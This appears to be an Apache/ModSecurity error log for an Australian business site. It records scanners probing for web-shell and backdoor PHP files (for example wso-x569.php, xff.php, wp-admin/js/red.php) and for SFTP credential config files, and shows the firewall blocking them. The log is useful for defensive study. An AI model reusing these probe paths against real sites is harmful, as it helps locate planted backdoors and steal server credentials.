[Mon Apr 13 14:39:13.357615 2026] [:error] [pid 57183:tid 57197] [client 4.210.65.73:25658] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adyPkTDO3t8R5NaxzYR2_QAAAUw"]
[Mon Apr 13 14:39:14.132186 2026] [:error] [pid 63311:tid 63389] [client 4.210.65.73:26118] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24name.php"] [unique_id "adyPkqHjrGN1MqBCVFmoiQAAAJI"]
[Mon Apr 13 14:39:15.095812 2026] [:error] [pid 57183:tid 57188] [client 4.210.65.73:20051] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24name.php"] [unique_id "adyPkzDO3t8R5NaxzYR3AAAAAUM"]
[Mon Apr 13 14:39:16.756340 2026] [:error] [pid 63309:tid 63317] [client 4.210.65.73:40188] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24name.php"] [unique_id "adyPlEpIKZ10weXpf0XphgAAAAQ"]
[Mon Apr 13 14:39:17.932953 2026] [:error] [pid 63309:tid 63325] [client 4.210.65.73:34867] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24name.php"] [unique_id "adyPlUpIKZ10weXpf0XpiwAAAAw"]
[Mon Apr 13 14:39:19.370366 2026] [:error] [pid 7228:tid 7254] [client 4.210.65.73:37145] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/re.php"] [unique_id "adyPlwEnn1dQrOSHHNUOBgAAARg"]
[Mon Apr 13 14:39:20.879797 2026] [:error] [pid 7228:tid 7241] [client 4.210.65.73:23546] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/re.php"] [unique_id "adyPmAEnn1dQrOSHHNUOEgAAAQs"]
[Mon Apr 13 14:39:22.234065 2026] [:error] [pid 57183:tid 57200] [client 4.210.65.73:44427] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/re.php"] [unique_id "adyPmjDO3t8R5NaxzYR3DwAAAU8"]
[Mon Apr 13 14:39:23.302898 2026] [:error] [pid 63406:tid 63428] [client 4.210.65.73:9956] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/re.php"] [unique_id "adyPm7HZEIkQ0Zmgp5qzpwAAANE"]
[Mon Apr 13 14:39:25.176554 2026] [:error] [pid 57183:tid 57185] [client 4.210.65.73:1708] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adyPnTDO3t8R5NaxzYR3GQAAAUA"]
[Mon Apr 13 14:39:26.212338 2026] [:error] [pid 7228:tid 7230] [client 4.210.65.73:1852] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adyPngEnn1dQrOSHHNUOIQAAAQA"]
[Mon Apr 13 14:39:26.943089 2026] [:error] [pid 7228:tid 7245] [client 4.210.65.73:12144] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adyPngEnn1dQrOSHHNUOJAAAAQ8"]
[Mon Apr 13 14:39:27.959507 2026] [:error] [pid 63406:tid 63429] [client 4.210.65.73:37152] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adyPn7HZEIkQ0Zmgp5qztQAAANI"]
[Mon Apr 13 14:39:28.934633 2026] [:error] [pid 63406:tid 63433] [client 4.210.65.73:40138] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "adyPoLHZEIkQ0Zmgp5qzugAAANY"]
[Mon Apr 13 14:39:30.673919 2026] [:error] [pid 7228:tid 7232] [client 4.210.65.73:25830] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "adyPogEnn1dQrOSHHNUOTgAAAQI"]
[Mon Apr 13 14:39:32.080320 2026] [:error] [pid 7228:tid 7242] [client 4.210.65.73:21690] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "adyPpAEnn1dQrOSHHNUOZQAAAQw"]
[Mon Apr 13 14:39:33.405207 2026] [:error] [pid 57183:tid 57206] [client 4.210.65.73:35779] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "adyPpTDO3t8R5NaxzYR3HwAAAVU"]
[Mon Apr 13 14:39:34.818512 2026] [:error] [pid 57183:tid 57192] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/blox.php
[Mon Apr 13 14:39:35.176791 2026] [:error] [pid 57183:tid 57199] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/cibai.php
[Mon Apr 13 14:39:35.427828 2026] [:error] [pid 57183:tid 57189] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/wso-x569.php
[Mon Apr 13 14:39:35.690114 2026] [:error] [pid 57183:tid 57209] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ccv.php
[Mon Apr 13 14:39:36.018723 2026] [:error] [pid 57183:tid 57205] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/classc.php
[Mon Apr 13 14:39:36.268514 2026] [:error] [pid 57183:tid 57194] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/HLA-dd.php
[Mon Apr 13 14:39:36.657459 2026] [:error] [pid 57183:tid 57195] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/kaza.php
[Mon Apr 13 14:39:36.949808 2026] [:error] [pid 57183:tid 57198] [client 4.210.65.73:26286] File does not exist: /usr/local/apache/htdocs/suspended-page/444.php
[Mon Apr 13 20:41:25.213611 2026] [:error] [pid 63406:tid 63435] [client 103.77.107.178:49654] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "adzkdbHZEIkQ0Zmgp5qregAAANg"]
[Mon Apr 13 20:41:25.416618 2026] [:error] [pid 63406:tid 63419] [client 103.77.107.178:49681] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "adzkdbHZEIkQ0Zmgp5qrfAAAAMg"]
[Tue Apr 14 02:08:58.240449 2026] [:error] [pid 60317:tid 60345] [client 104.28.159.127:36843] [client 104.28.159.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "ad0xOrBo7Bc8I7P_P--oVwAAAMU"]
[Tue Apr 14 06:00:14.057766 2026] [:error] [pid 19689:tid 19767] [client 43.165.70.65:52013] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Tue Apr 14 22:00:29.379993 2026] [:error] [pid 59986:tid 60028] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Tue Apr 14 22:00:29.857191 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Tue Apr 14 22:00:30.096204 2026] [:error] [pid 59986:tid 60032] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Tue Apr 14 22:00:30.335920 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-at.php
[Tue Apr 14 22:00:30.572672 2026] [:error] [pid 59986:tid 60026] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Tue Apr 14 22:00:30.811409 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Tue Apr 14 22:00:31.051646 2026] [:error] [pid 59986:tid 60029] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
[Tue Apr 14 22:00:31.291330 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Tue Apr 14 22:00:31.530821 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:13453] File does not exist: /usr/local/apache/htdocs/suspended-page/nwflm.php
[Tue Apr 14 22:00:31.766332 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:13453] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ad5If56axKeW6bX4H7eTNAAAAEs"]
[Tue Apr 14 22:00:32.236478 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:13512] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ad5IgJ6axKeW6bX4H7eTNQAAAEM"]
[Tue Apr 14 22:00:32.714395 2026] [:error] [pid 3778:tid 3791] [client 20.188.36.87:13535] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ad5IgBx5DfpNmYF_PaH2dwAAAUs"]
[Tue Apr 14 22:00:33.189764 2026] [:error] [pid 22177:tid 22183] [client 20.188.36.87:13557] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ad5IgYTVeJSXHDIlEDuRVgAAAQQ"]
[Tue Apr 14 22:00:33.661173 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:13510] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ad5IgZ6axKeW6bX4H7eTNgAAAFQ"]
[Tue Apr 14 22:00:34.131514 2026] [:error] [pid 60074:tid 60099] [client 20.188.36.87:13521] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ad5IgutqnEmNU9vpHCmzQgAAANc"]
[Tue Apr 14 22:00:34.603361 2026] [:error] [pid 22177:tid 22185] [client 20.188.36.87:13565] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ad5IgoTVeJSXHDIlEDuRVwAAAQY"]
[Tue Apr 14 22:00:35.084672 2026] [:error] [pid 59987:tid 60061] [client 20.188.36.87:13531] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "ad5Ig1Wpk-Tfi6_vLKpBigAAAI4"]
[Tue Apr 14 22:00:35.555593 2026] [:error] [pid 59987:tid 60065] [client 20.188.36.87:13551] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "ad5Ig1Wpk-Tfi6_vLKpBjAAAAJI"]
[Tue Apr 14 22:00:36.026921 2026] [:error] [pid 3778:tid 3785] [client 20.188.36.87:13459] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "ad5IhBx5DfpNmYF_PaH2ewAAAUU"]
[Tue Apr 14 22:00:36.498863 2026] [:error] [pid 59987:tid 60057] [client 20.188.36.87:13454] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "ad5IhFWpk-Tfi6_vLKpBkgAAAIo"]
[Tue Apr 14 22:00:36.971721 2026] [:error] [pid 59987:tid 60059] [client 20.188.36.87:13506] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lupo.php"] [unique_id "ad5IhFWpk-Tfi6_vLKpBlAAAAIw"]
[Tue Apr 14 22:00:37.451741 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:13553] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "ad5Ihcqc5XaYZhFXVGe3MQAAAYE"]
[Tue Apr 14 22:00:37.922434 2026] [:error] [pid 59986:tid 60032] [client 20.188.36.87:13548] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "ad5IhZ6axKeW6bX4H7eTQwAAAEw"]
[Tue Apr 14 22:00:38.393232 2026] [:error] [pid 3778:tid 3801] [client 20.188.36.87:13444] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "ad5Ihhx5DfpNmYF_PaH2fQAAAVU"]
[Tue Apr 14 22:00:38.864131 2026] [:error] [pid 60074:tid 60093] [client 20.188.36.87:13509] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "ad5IhutqnEmNU9vpHCmzRQAAANE"]
[Tue Apr 14 22:00:39.339118 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:13524] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "ad5Ih56axKeW6bX4H7eTRAAAAEI"]
[Tue Apr 14 22:00:39.809334 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:13520] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "ad5Ih56axKeW6bX4H7eTRgAAAE8"]
[Tue Apr 14 22:00:40.281965 2026] [:error] [pid 3778:tid 3789] [client 20.188.36.87:13517] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "ad5IiBx5DfpNmYF_PaH2gQAAAUk"]
[Tue Apr 14 22:00:40.752540 2026] [:error] [pid 59986:tid 60020] [client 20.188.36.87:13523] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "ad5IiJ6axKeW6bX4H7eTTgAAAEA"]
[Tue Apr 14 22:00:41.232720 2026] [:error] [pid 22177:tid 22184] [client 20.188.36.87:13511] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "ad5IiYTVeJSXHDIlEDuRWwAAAQU"]
[Tue Apr 14 22:00:41.714383 2026] [:error] [pid 59985:tid 60014] [client 20.188.36.87:13392] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "ad5IiegHaxkvLE6V1klsIgAAABU"]
[Tue Apr 14 22:00:42.185011 2026] [:error] [pid 22177:tid 22190] [client 20.188.36.87:13448] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "ad5IioTVeJSXHDIlEDuRYAAAAQs"]
[Tue Apr 14 22:00:42.655550 2026] [:error] [pid 59985:tid 60006] [client 20.188.36.87:13529] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/water.php"] [unique_id "ad5IiugHaxkvLE6V1klsJgAAAA0"]
[Tue Apr 14 22:00:43.127550 2026] [:error] [pid 59985:tid 60000] [client 20.188.36.87:13445] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/red.php"] [unique_id "ad5Ii-gHaxkvLE6V1klsKQAAAAc"]
[Tue Apr 14 22:00:43.597843 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:13458] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/red.php"] [unique_id "ad5Ii56axKeW6bX4H7eTTwAAAE8"]
[Tue Apr 14 22:00:44.070437 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:13522] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/red.php"] [unique_id "ad5IjJ6axKeW6bX4H7eTUQAAAFU"]
[Tue Apr 14 22:00:44.545150 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:13504] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/red.php"] [unique_id "ad5IjJ6axKeW6bX4H7eTVAAAAFc"]
[Tue Apr 14 22:00:45.017843 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13507] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "ad5IjZ6axKeW6bX4H7eTWAAAAFE"]
[Tue Apr 14 22:00:45.490143 2026] [:error] [pid 3778:tid 3801] [client 20.188.36.87:13564] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "ad5IjRx5DfpNmYF_PaH2iAAAAVU"]
